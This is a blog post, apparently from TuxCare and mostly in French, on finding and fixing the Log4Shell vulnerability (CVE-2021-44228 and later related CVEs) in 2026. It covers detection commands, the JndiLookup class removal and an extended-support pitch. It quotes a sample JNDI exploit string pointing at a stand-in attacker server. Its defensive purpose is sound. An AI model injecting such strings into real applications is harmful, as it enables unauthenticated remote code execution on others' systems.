Support technique
Documentation
Connexion
Nous contacter
Accédez directement au résumé généré par l'IA de cet article de blog 
Principaux enseignements
- Le correctif de la vulnérabilité Log4j, dont la prise en charge s'étend jusqu'en 2026, est une version actuellement maintenue log4j-core , bien postérieure à la version 2.17.1.
- Si vous vous arrêtez à la version 2.15.0 ou 2.16.0 en 2021, vous resterez exposé aux vulnérabilités (CVE) divulguées quelques jours plus tard.
- Le plus difficile, c'est de repérer toutes les instances de Log4j présentes dans les fichiers JAR modifiés, les images de base et les appliances des fournisseurs.
Si un scanner vient de signaler log4j-core, la correction de la faille Log4j est en soi très simple. Mettez à jour log4j-core et log4j-api simultanément vers une version de Log4j actuellement prise en charge sur Java 8 ou une version plus récente. Vous ne pouvez pas recompiler pour le moment ? Supprimez le fichier classe JndiLookup du fichier JAR permettra d'éviter Log4Shell, mais cela ne fera que gagner du temps.
Tout ce qui suit ce paragraphe aborde les points que cette version abrégée ne mentionne pas. Vous découvrirez où ont tendance à se cacher les copies non répertoriées : dans les fichiers JAR masqués, les appliances des fournisseurs et les conteneurs que personne n’a inventoriés. Vous comprendrez également pourquoi le fait d’avoir appliqué un correctif vers la version 2.15.0 ou 2.16.0 en 2021 ne signifie pas que vous êtes protégé aujourd’hui, et ce qu’il faut faire avec l’instance Log4j que vous n’êtes pas autorisé à modifier avant la prochaine fenêtre de maintenance.
Qu'est-ce que la faille de sécurité Log4j, également appelée Log4Shell ?
Log4Shell, référencée sous le numéro CVE-2021-44228, est une faille permettant l'exécution de code à distance dans Apache Log4j 2. Elle affecte les versions 2.0-beta9 à 2.3, 2.4 à 2.12.1 et 2.13.0 à 2.14.1, et son score CVSS est de 10,0. On ne peut pas obtenir de score plus élevé que cela.
The root cause was Log4j’s message-lookup feature, which treated certain substrings inside a logged value as instructions instead of plain text. Drop a string like ${jndi:ldap://attacker-server/a} into any logged field, and a vulnerable Log4j would fire off a JNDI lookup to a server the attacker controls. In plenty of real environments, that lookup ended with the attacker’s code running inside the application. No credentials needed. Nobody had to click anything, and the payload could ride in on something as ordinary as a User-Agent header.
Pourquoi la correction de la faille Log4j reste-t-elle d'actualité en 2026 ?
Log4Shell a été rendu public il y a près de cinq ans, et la CISA l’a ajouté à son catalogue des vulnérabilités connues exploitées (KEV) la même semaine. Elle n’a toujours pas disparu. Les recherches de Sonatype a révélé que environ 13 % des téléchargements de Log4j effectués sur Maven Central en 2025, soit environ 40 millions sur près de 300 millions, concernaient encore une version vulnérable à Log4Shell. Contrast Security a constaté que 12 % des applications Java utilisaient encore une version vulnérable trois ans après la divulgation de la faille.
Cela s'explique en partie par le fait que certaines équipes n'ont jamais appliqué de correctifs. Mais cela tient aussi en grande partie à la manière dont les graphes de dépendances évoluent a posteriori. Un nouveau service créé à partir d’un ancien modèle de projet hérite de la version fixée par ce modèle. Une modification de dépendance ailleurs peut modifier la résolution transitive et réintroduire une ancienne version de Log4j. Et un système restauré à partir d’une sauvegarde effectuée avant décembre 2021 redevient exactement aussi vulnérable qu’au jour où l’image a été créée. N’importe lequel de ces cas peut réintroduire une version vulnérable dans un environnement qui avait déjà passé un scan avec succès, sans que personne n’ait décidé d’annuler le correctif.
Comment fonctionnent les attaques Log4Shell ?
La chaîne d’attaque est courte, ce qui explique en grande partie pourquoi elle a causé autant de dégâts. Un attaquant insère une chaîne de recherche JNDI dans n’importe quel champ consigné par l’application, qu’il s’agisse d’un en-tête de requête, d’un nom d’utilisateur ou d’une requête de recherche. Log4j interprète cette chaîne comme une instruction plutôt que de l’afficher sous forme de texte, et la JVM ouvre une connexion sortante vers le serveur LDAP ou RMI dont le nom y est indiqué. Dans un contexte propice à l'exploitation, cette recherche peut aboutir à l'exécution d'un code contrôlé par l'attaquant, disposant des mêmes privilèges que l'application chargée de la journalisation.
L'exploitation de la vulnérabilité CVE-2021-44228 ne nécessite aucune authentification, et l'application n'a pas besoin d'effectuer d'opération particulière sur les données saisies. Il suffit simplement que la chaîne de caractères finisse par atteindre une instruction de journalisation.
Découverte de vulnérabilités liées à Log4j
Log4Shell n'a pas été corrigé en une seule fois. Apache a publié quatre versions en moins de trois semaines, et chacune d'entre elles comblait une faille laissée ouverte par la précédente. Si votre équipe a appliqué un correctif une seule fois en décembre 2021 avant de passer à autre chose, il y a de fortes chances que votre correction de la vulnérabilité Log4j se soit arrêtée à la version 2.15.0 ou 2.16.0, et ces deux versions sont toujours exposées à au moins un CVE figurant dans ce tableau.
| CVE | CVSS | Corrigé dans | NVD publié | Ce qu'elle couvre réellement |
| CVE-2021-44228 (Log4Shell) | 10,0 Critique | 2.15.0 (partiel) | 10 décembre 2021 | Exécution de code à distance sans authentification via des recherches JNDI dans des chaînes de caractères enregistrées. Concerné : versions 2.0-beta9 à 2.3, 2.4 à 2.12.1 et 2.13.0 à 2.14.1. |
| 45046 | 9,0 Critique | 2.16.0 | 14 décembre 2021 | Le correctif 2.15.0 était incomplet dans les configurations non par défaut, ce qui permettait toujours des fuites de données et l'exécution de code à distance. Apache a revu à la hausse la note, initialement fixée à 3,7, une fois que l'impact réel a été compris. |
| 45105 | 5,9 Moyen | 2.17.0 | 18 décembre 2021 | Une récursion incontrôlée lors de recherches autoréférentielles, provoquant le plantage du processus par un déni de service plutôt que par l'exécution de code. |
| 44832 | 6.6 Moyen | 2.17.1 | 28 décembre 2021 | Exécution de code à distance via l'Appender JDBC, mais uniquement si un attaquant est déjà en mesure de modifier votre configuration de journalisation. |
| 4104 | 7,5 Élevé | Pas de correction en amont | 14 décembre 2021 | Désérialisation via JMSAppender, mais uniquement lorsque JMSAppender est configuré et qu'un attaquant est en mesure de modifier la configuration de la journalisation. Log4j 1.x a atteint sa fin de vie en août 2015 ; il n'existe donc pas de correctif en amont et il n'y en aura jamais. |
Sous Java 8, la version 2.17.1 a été la première à corriger les quatre problèmes de Log4j 2 mentionnés ci-dessus. Les équipes utilisant Java 7 ou Java 6 n’ont pas été laissées pour compte non plus, car Apache a rétroporté ces mêmes correctifs dans la version 2.12.4 et 2.3.2, les dernières versions jamais publiées pour ces branches.
Cela ne signifie toutefois pas que la version 2.17.1 soit un bon point d'arrêt en 2026. Apache considère désormais l'ensemble de la branche 2.17.x comme en fin de maintenance, et les correctifs des problèmes liés à Log4j découverts depuis sont intégrés aux branches 2.25.x et 2.26.x, qui sont toujours maintenues.
Log4j 1.x ne s'inscrit pas dans cette évolution. Il ne dispose pas de la fonctionnalité de recherche à l'origine de Log4Shell, mais il a atteint sa fin de vie en août 2015, bien des années avant que tout cela ne se produise ; par conséquent, aucune correction en amont ne permettra jamais de corriger la vulnérabilité CVE-2021-4104. S'assurer que JMSAppender n'est pas configuré permet de colmater cette faille particulière. À plus long terme, les options réalistes consistent à migrer hors de la version 1.x ou à utiliser une version maintenue, telle que l'ELS de TuxCare pour Log4j 1.2.x.
Comment détecter la vulnérabilité Log4j dans votre environnement
Ces trois vérifications permettent de détecter trois éléments différents, et le fait d'en omettre une crée une lacune que les deux autres ne pourront pas combler.
Consultez d'abord vos manifestes de compilation
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencies –configuration runtimeClasspath | grep log4j
Cette commande affiche toutes les dépendances Log4j résolvées par votre build, y compris les dépendances transitives. Elle ne détectera pas les éléments intégrés dans un fichier JAR fournisseur qui n’ont jamais été déclarés comme dépendances au départ.
Rechercher les artefacts déployés pour la classe elle-même
Les fichiers JAR « masqués » peuvent déplacer des paquets ou supprimer les métadonnées sur lesquelles s’appuient les scanners, mais le bytecode reste bien présent. Effectuez une recherche directement dans les archives et ciblez les chemins d’accès où se trouvent réellement vos applications. Explorer l’intégralité de / sur un serveur de production très sollicité est un processus lent et pesant pour les E/S disque.
find /opt /srv /var/lib ‘(‘ -name “*.jar” -o -name “*.war” -o -name “*.ear” ‘)’ -type f 2>/dev/null |
while read -r f; do
unzip -l « $f » 2>/dev/null | grep -qE ‘JndiLookup\.class|log4j-core’ && echo « $f »
done
Tout résultat que votre recherche dans le manifeste n’a pas déjà mis en évidence correspond à une copie que personne n’a déclarée, comme ce fichier WAR vieux de dix ans, l’appareil d’un fournisseur ou l’image de base que quelqu’un a créée en 2019. Gardez à l’esprit qu’un résultat signifie que Log4j 2 est présent, et non qu’il est vulnérable. Des versions corrigées sont toujours disponibles JndiLookup.class; vérifiez donc la version avant d’ouvrir un ticket (le fichier pom.properties situé dans le répertoire META-INF/maven à l’intérieur du fichier JAR l’indique généralement). Les couches d’images de conteneurs, les appliances auxquelles vous ne pouvez pas accéder via un shell et les archives imbriquées sur plusieurs niveaux nécessitent un scanner spécialement conçu à cet effet plutôt qu’une simple ligne de commande.
Vérifier ce qui est réellement en cours d'exécution
Un fichier JAR présent sur le disque mais qui n’est jamais chargé est considéré comme un problème moins prioritaire que la même classe chargée au sein d’un processus actif. Examinez les JVM en cours d’exécution et vérifiez quelle version de Log4j chaque processus a réellement chargée au démarrage, car cela peut différer de ce qui se trouve dans le contrôle de version ou de ce qui a été intégré à une image il y a plusieurs mois.
On a host, lsof -p <PID> | grep -i log4j lists the Log4j JARs a running JVM currently has open. That’s good evidence, but it isn’t a complete record of every class the process has loaded, and fat JARs only show up as the outer archive. Pair it with the artifact search above.
Remarque : Effectuez les trois vérifications, dans cet ordre, avant de considérer que la correction de la faille Log4j est terminée. Une analyse du manifeste à elle seule indiquera sans problème que l'application est saine, alors qu'une copie fournie par le fournisseur se trouve trois répertoires plus loin.
Comment corriger la vulnérabilité Log4j, étape par étape
Mettre à jour ou rétroporter la bibliothèque
Mise à jour log4j-core et log4j-api simultanément vers une version de Log4j actuellement maintenue et compatible avec votre environnement d'exécution Java. Sous Java 8, la version 2.17.1 a été la première à corriger les quatre vulnérabilités CVE abordées ici, mais cette version n'est plus maintenue aujourd'hui ; considérez-la donc comme le minimum requis pour 2021 et visez plus haut. Fixez ou gérez de manière centralisée la version (en important log4j-bom dans le fichier dependencyManagement de Maven fonctionne bien) au lieu de la laisser à la résolution transitive, qui peut discrètement réintroduire une version plus ancienne. Recompilez ensuite tous les artefacts qui intègrent la bibliothèque, et pas seulement celui signalé par un scanner.
Certaines instances ne peuvent tout simplement pas être mises à niveau dans vos délais. Il n'existe aucun correctif en amont pour Log4j 1.x, et certaines applications sont liées à une ancienne version de Log4j qui ne peut pas passer à une version supérieure sans nécessiter d'importants travaux de refonte.
C'est là que réside la lacune pour lequel le support à cycle de vie illimité de TuxCare pour Log4j est précisément conçu pour combler ce fossé, comme expliqué plus en détail ci-dessous. Les versions fournies par les éditeurs posent un problème différent. Les appliances et les versions propriétaires ne peuvent généralement pas être modifiées sans enfreindre une version signée ou un contrat de support ; ce correctif doit donc provenir de l’éditeur.
Atténuez les risques liés à ce que vous ne pouvez pas encore corriger
Si la recompilation est bloquée sur une version de Log4j 2 concernée, la mesure d'atténuation d'urgence recommandée par Apache lors de la réponse à Log4Shell consistait à supprimer physiquement la classe vulnérable :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Cette solution résiste aux redémarrages et ne dépend pas de la configuration d'exécution. Elle bloque le chemin de recherche JNDI lié aux vulnérabilités CVE-2021-44228 et CVE-2021-45046, mais n'apporte aucune protection contre le déni de service lié à la vulnérabilité CVE-2021-45105 ni contre le problème lié à l'Appender JDBC décrit dans la vulnérabilité CVE-2021-44832. Le formatMsgNoLookups , qui avait circulé comme solution de contournement préliminaire, n’existe que dans la version 2.10 et les versions ultérieures, et ne résout en rien la vulnérabilité CVE-2021-45046. L’une ou l’autre permet de gagner du temps jusqu’à la mise en place de la mise à jour.
Vérifier la correction sur le système en cours d'exécution
Relancez la recherche d’artefacts décrite dans la section précédente, puis vérifiez la version chargée au sein de chaque JVM en production. Le fait qu’une version corrigée figure dans votre registre ne vous apprend rien sur le conteneur qui traite actuellement le trafic à partir d’une image créée il y a deux déploiements. Notez également ce que vous avez vérifié en exécution. C’est ce compte-rendu qui vous permettra de clore définitivement le problème, plutôt que de le redécouvrir lors du prochain scan.
Quand vous ne pouvez pas effectuer de mise à niveau
Certains déploiements de Log4j ne peuvent pas passer à une version maintenue dans un délai raisonnable. Pensez par exemple à une application gelée en vue d’un audit de conformité, ou à un système dont la mise à niveau passe par du code qui n’a été écrit par aucun membre de l’équipe actuelle. Rester sur place a toutefois un coût. Log4j 2.14.1 se trouve en plein dans la plage d’impact de la vulnérabilité CVE-2021-44228, une faille notée CVSS 10,0 qui ne nécessite aucune authentification et rien de plus qu’une chaîne de caractères enregistrée.
Le support à cycle de vie illimité de TuxCare pour Log4j fournit des versions de Log4j corrigées en matière de sécurité et prêtes à l’emploi, dont la maintenance n’est plus assurée en amont. Cela couvre les versions 1.2.14 à 1.2.17, ainsi que des versions 2.x plus anciennes telles que 2.5, 2.11.0, 2.17.1 et 2.17.2. Les équipes utilisant une version non couverte, comme la 2.14.1, peuvent passer à une version compatible et prise en charge. Il s’agit tout de même d’un changement de version impliquant une recompilation et des tests, mais celui-ci peut être bien moins important que de passer directement à la version 2.25.x. Une fois cette transition effectuée, le système continue de bénéficier de correctifs de sécurité tandis que la migration à plus grande échelle est planifiée selon votre calendrier.
Empêcher la correction de se défaire d'elle-même
Le fait de réussir un scan une seule fois ne garantit pas que la correction soit définitive. Quelques bonnes habitudes permettent de maintenir ce résultat sans que cela devienne un deuxième travail à temps plein.
Commencez par ajouter à vos dépôts log4j-core et log4j-api explicitement dans chaque fichier de build qui les utilise, plutôt que de laisser un POM parent ou une dépendance transitive en décider. Faites ensuite de l’inventaire une tâche récurrente plutôt qu’un audit ponctuel. Les nouveaux services, les sauvegardes restaurées et les anciennes images de conteneurs peuvent tous réintroduire une version vulnérable sans que personne ne le veuille. Lancez la recherche d’artefacts selon un calendrier défini et vérifiez les versions qu’elle détecte, car JndiLookup.class signalera également les copies corrigées.
Limitez autant que possible l’accès sortant au réseau depuis les serveurs d’applications. La chaîne d’exploitation classique de Log4Shell repose sur la connexion de l’hôte au serveur LDAP ou RMI d’un attaquant ; le filtrage sortant permet donc de briser la chaîne d’attaque la plus courante. Cela n’empêchera toutefois pas les fuites de données via le DNS ni les vulnérabilités CVE qui ne reposent pas sur des rappels JNDI. Il s’agit d’une défense en profondeur : vous devez tout de même appliquer les correctifs.
Enfin, classez les bibliothèques et les environnements d'exécution en fin de vie (EOL) dans une catégorie d'inventaire distincte, séparée de celle intitulée « nécessite une mise à jour de version ». Un composant pris en charge dispose d'un chemin en amont actif vers un correctif. Un composant en fin de vie ne bénéficie de correctifs que si un accord de support à cycle de vie prolongé, par exemple, assure leur rétroportage.
Sécurisez Log4j avec TuxCare
Log4j ne sera pas la dernière bibliothèque à s'avérer à la fois omniprésente et discrètement dangereuse, mais c'est celle que la plupart des équipes Java ont déjà dû affronter au moins une fois. Le support de cycle de vie illimité de TuxCare étend les correctifs de sécurité à Log4j et à d’autres bibliothèques et environnements d’exécution dont la fin de vie officielle est dépassée. Ainsi, une version que vous ne pouvez pas encore mettre à jour ne doit pas nécessairement rester non corrigée. Si votre inventaire révèle des instances de Log4j qui ne peuvent pas être mises à jour dans les délais prévus, c’est exactement le type de problème pour lequel ce service a été conçu.
